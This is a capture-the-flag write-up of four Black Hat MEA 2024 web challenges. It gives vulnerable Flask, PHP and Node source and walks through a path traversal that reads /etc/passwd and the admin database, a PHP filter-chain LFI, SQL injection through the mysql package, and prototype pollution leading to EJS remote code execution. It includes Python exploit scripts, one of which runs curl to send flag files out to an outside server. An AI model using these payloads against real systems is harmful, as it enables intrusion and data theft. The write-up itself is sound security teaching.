Black Hat MEA 2024 Web write-ups

Challenge : Watermelon easy 120 points
we have this Flask app, which is an api to store files and share files
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(255), nullable=False)
filepath = db.Column(db.String(255), nullable=False)
uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
user = db.relationship('User', backref=db.backref('files', lazy=True))
def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")
with app.app_context():
db.create_all()
create_admin_user()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session:
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
@app.route('/')
def index():
return 'Welcome to my file sharing API'
@app.post("/register")
def register():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
if User.query.filter_by(username=username).first():
return jsonify({"Error": "Username already exists"}), 409
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
return jsonify({"Message": "User registered successfully"}), 201
@app.post("/login")
def login():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
user = User.query.filter_by(username=username, password=password).first()
if not user:
return jsonify({"Error": "Invalid username or password"}), 401
session['user_id'] = user.id
session['username'] = user.username
return jsonify({"Message": "Login successful"}), 200
@app.get('/profile')
@login_required
def profile():
return jsonify({"username": session['username'], "user_id": session['user_id']})
@app.get('/files')
@login_required
def list_files():
user_id = session.get('user_id')
files = File.query.filter_by(user_id=user_id).all()
file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
return jsonify({"files": file_list}), 200
@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
if 'file' not in request.files:
return jsonify({"Error": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"Error": "No selected file"}), 400
user_id = session.get('user_id')
if file:
blocked = ["proc", "self", "environ", "env"]
filename = file.filename
if filename in blocked:
return jsonify({"Error":"Why?"})
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
os.makedirs(user_dir, exist_ok=True)
file_path = os.path.join(user_dir, filename)
file.save(f"{user_dir}/{secure_filename(filename)}")
new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
db.session.add(new_file)
db.session.commit()
return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201
return jsonify({"Error": "File upload failed"}), 500
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
@app.get('/admin')
@admin_required
def admin():
return os.getenv("FLAG","BHFlagY{testing_flag}")
if __name__ == '__main__':
app.run(host='0.0.0.0')
it uses from werkzeug.utils import secure_filename
in the upload Route to secure against lfi while storing files since we can not overwrite any file on the system
but anyway secure_filename
is used directly in the function and the file path can still be malformed when it is used in the next route , so if we uploaded a file with name `../../../etc/passwd` we can read it's content
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
let's try


nice now we want to get the admin creds. remember admin's pass is created using this function
def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")pyth
and the db is sqlite app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
so we can read it and get admin's pass. from docker instance it got the path which is /app/instance/db.db


nice we got the admin's pass and now login with it and get the flag
Challenge: Free Flag 110 points
we have a php app which is vuln to lfi from the first sight but it have one challenge that the start of the file must be with <?php or <html .
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Free Flag</title>
</head>
<body>
<?php
function isRateLimited($limitTime = 1) {
$ipAddress=$_SERVER['REMOTE_ADDR'];
$filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
$lastRequestTime = @file_get_contents($filename);
if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
return true;
}
file_put_contents($filename, time());
echo $filename;
return false;
}
if(isset($_POST['file']))
{
if(isRateLimited())
{
die("Limited 1 req per second");
}
$file = $_POST['file'];
if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
{
echo 'noo' ;
}
else
{
echo file_get_contents($file);
}
}
?>
</body>
</html>
we can use this tool https://github.com/synacktiv/php_filter_chain_generator which we can use to emped the <?php part, and change the last part to/srv/flag.txt
to get the flag



we could read /etc/passwd, using the same way we can read the flag
Challenge: Notey Meduim 180 points
we have a NodeJs app that is used to create notes and our goal is to read admin's note
index.js
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');
const app = express();
app.use(bodyParser.urlencoded({
extended: true
}))
app.use(session({
secret: crypto.randomBytes(32).toString("hex"),
resave: true,
saveUninitialized: true
}));
app.get('/',(req,res)=>{
res.send("Welcome")
})
app.get('/profile', middleware.auth, (req, res) => {
const username = req.session.username;
db.getNotesByUsername(username, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
res.json(notes);
});
});
app.get('/viewNote', middleware.auth, (req, res) => {
const { note_id,note_secret } = req.query;
if (note_id && note_secret){
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
return res.json(notes);
});
}
else
{
return res.status(400).json({"Error":"Missing required data"});
}
});
app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
const { content, note_secret } = req.body;
db.addNote(req.session.username, content, note_secret, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Note added successful' });
} else {
return res.status(409).json({ error: 'Something went wrong' });
}
});
});
app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;
db.login_user(username, password, (err, results) => {
if (err) {
console.log(err);
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results.length > 0) {
req.session.username = username;
return res.json({ message: 'Login successful' });
} else {
return res.status(401).json({ error: 'Invalid username or password' });
}
});
});
app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;
db.register_user(username, password, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Registration successful' });
} else {
return res.status(409).json({ error: 'Username already exists' });
}
});
});
db.wait().then(() => {
db.insertAdminUserOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
db.insertAdminNoteOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
app.listen(3000, () => {
console.log('Server started on http://localhost:3000');
});
}
});
}
});
});
middlewares.js
const auth = (req, res, next) => {
ssn = req.session
if (ssn.username) {
return next();
} else {
return res.status(401).send('Authentication required.');
}
};
const login = (req,res,next) =>{
const {username,password} = req.body;
if ( !username || ! password )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof username !== "string" || typeof password !== "string")
{
return res.status(400).send("Wrong data format");
}
next();
}
const addNote = (req,res,next) =>{
const { content, note_secret } = req.body;
if ( !content || ! note_secret )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof content !== "string" || typeof note_secret !== "string")
{
return res.status(400).send("Wrong data format");
}
else if( !(content.length > 0 && content.length < 255) || !( note_secret.length >=8 && note_secret.length < 255) )
{
return res.status(400).send("Wrong data length");
}
next();
}
module.exports ={
auth, login, addNote
};
database.js
// that is not all but what we need
const mysql = require('mysql');
function getNoteById(noteId, secret, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
console.log(noteId,secret);
pool.query(query, [noteId,secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
first thing is the app is using require('mysql');
and prepared statments (which is not we will see) to secure agains sql injection from https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values and https://youtu.be/mlRvMiTx3-I?si=OQwuhLy3-UGy5L_H we can see that it is vuln to sql injection and this is not prepared statments so something like note_id=66¬e_secret[username]=admin
in the getNotebyID function can lead to sql injection
also this challnge had jail and set the memory to 0, so we need to write a script to automate the exploit
import requests
# Create a Session object
session = requests.Session()
#BHFlagY{1731788be1c842b4fac021e80e20e459}
#url = 'http://a25d1076f00f22bc71975.playat.flagyard.com/' this was the challenge url
url = 'http://127.0.0.1:5000/'
def register(url):
# The URL where the Flask application is running
url = url+ "register"
# The data to be sent to the server
data = {"username": "test2", "password": "test2"}
# Perform the POST request
response = session.post(url, data=data)
# Print the response text and cookies
print(response.text)
print(response.cookies.get('connect.sid'))
def login(url):
# The URL where the Flask application is running
url = url+ "login"
# The data to be sent to the server
data = {"username": "test2", "password": "test2"}
# Perform the POST request
response = session.post(url, data=data)
# Print the response text and cookies
print(response.text)
print(response.cookies.get('connect.sid'))
def profile(url):
# URL for a different request where you want to keep the cookies
url = url+ "profile"
# Perform another request using the same session
response = session.get(url)
# Print the response text
print(response.text)
print(response.request._cookies.get('connect.sid'))
def viewNote(url):
# # URL endpoint for the request
url = url + "viewNote"
query = {"note_id": 66, "note_secret[username]": "admin"}
# Perform the GET request with query parameters
response = session.get(url=url, params=query)
# Print the response text
print(response.text)
# Print the cookies sent with the response (if any)
print(response.cookies.get('connect.sid'))
#register(url)
while True:
login(url)
viewNote(url)
Challenge: Fastes Delivery Service Hard 270 points
this nodejs app is vuln to prototype pollution in the address `address
` function and we need to get RCE from ejs which is vuln to this CVE-2024-33883
{
"name": "food-delivery-service",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.1",
"ejs":"^3.1.9",
"express-session":"^1.18.0"
}
}
// this is not all but what we only need
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");
const app = express();
const PORT = 3000;
// In-memory data storage
let users = {};
let orders = {};
let addresses = {};
// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };
// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
secret: crypto.randomBytes(16).toString('hex'),
resave: false,
saveUninitialized: true
}));
// Routes
app.get('/', (req, res) => {
res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (user && user.password === password) {
req.session.user = { username };
res.redirect('/');
} else {
res.send('Invalid credentials. <a href="/login">Try again</a>.');
}
});
app.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.post('/register', (req, res) => {
const { username, password } = req.body;
if (Object.prototype.hasOwnProperty.call(users, username)) {
res.send('Username already exists. <a href="/register">Try a different username</a>.');
} else {
users[username] = { password, orders: [], address: '' };
req.session.user = { username };
res.redirect(`/address`);
}
});
app.get('/address', (req, res) => {
const { user } = req.session;
if (user && users[user.username]) {
res.render('address', { username: user.username });
} else {
res.redirect('/register');
}
});
app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;
if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
res.redirect('/login');
} else {
res.redirect('/register');
}
});
app.get('/order', (req, res) => {
if (req.session.user) {
res.render('order');
} else {
res.redirect('/login');
}
});
app.post('/order', (req, res) => {
if (req.session.user) {
const { item, quantity } = req.body;
const orderId = `order-${Date.now()}`;
orders[orderId] = { item, quantity, username: req.session.user.username };
users[req.session.user.username].orders.push(orderId);
res.redirect('/');
} else {
res.redirect('/login');
}
});
app.get('/admin', (req, res) => {
if (req.session.user && req.session.user.username === 'admin') {
const allOrders = Object.keys(orders).map(orderId => ({
...orders[orderId],
orderId
}));
res.render('admin', { orders: allOrders });
} else {
res.redirect('/');
}
});
// Start server
app.listen(PORT, '0.0.0.0', () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
first we need to polluote the addresses object , if we used the same logic in this script we can polluote the Object and control crtical values in Nodejs runtime
let users = {};
let orders = {};
let addresses = {};
username = '__proto__';
addressId = 'foo';
Fulladdress = 'bar';
users[username] = { 'password': 'aaaa', orders: [], address: '' };
addresses[username][addressId] = Fulladdress;
users[username].address = addressId;
console.log(Object.foo)
// result: bar
next we can use this poc for CVE-2024-33883 which is baed on prototype pollution. again the challenge is jailed and we need to make a script
import requests
session = requests.Session()
url='http://localhost:3000/'
#url='http://a61a2c36e9a8e2740d1e2.playat.flagyard.com/' this was the challenge url
def register(url):
url= url + 'register'
data= {"username":"__proto__", "password": "asas"}
res = session.post(url, data=data, allow_redirects=False)
print(res.text)
def address1(url):
url= url + 'address'
data = {"username":"__proto__","addressId":"client","Fulladdress":"1"}
res = session.post(url, data=data,allow_redirects=False)
print(res.text)
def address2(url):
url= url + 'address'
data = {"username":"__proto__","addressId":"escapeFunction","Fulladdress":"""process.mainModule.require('child_process').execSync('curl -X POST -d "$(cat /tmp/flag*)" https://myserver');"""}
res = session.post(url, data=data, allow_redirects=False)
print(res.text)
def index(url):
res = session.get(url)
print(res.text)
register(url)
address1(url)
address2(url)
index(url)
Last updated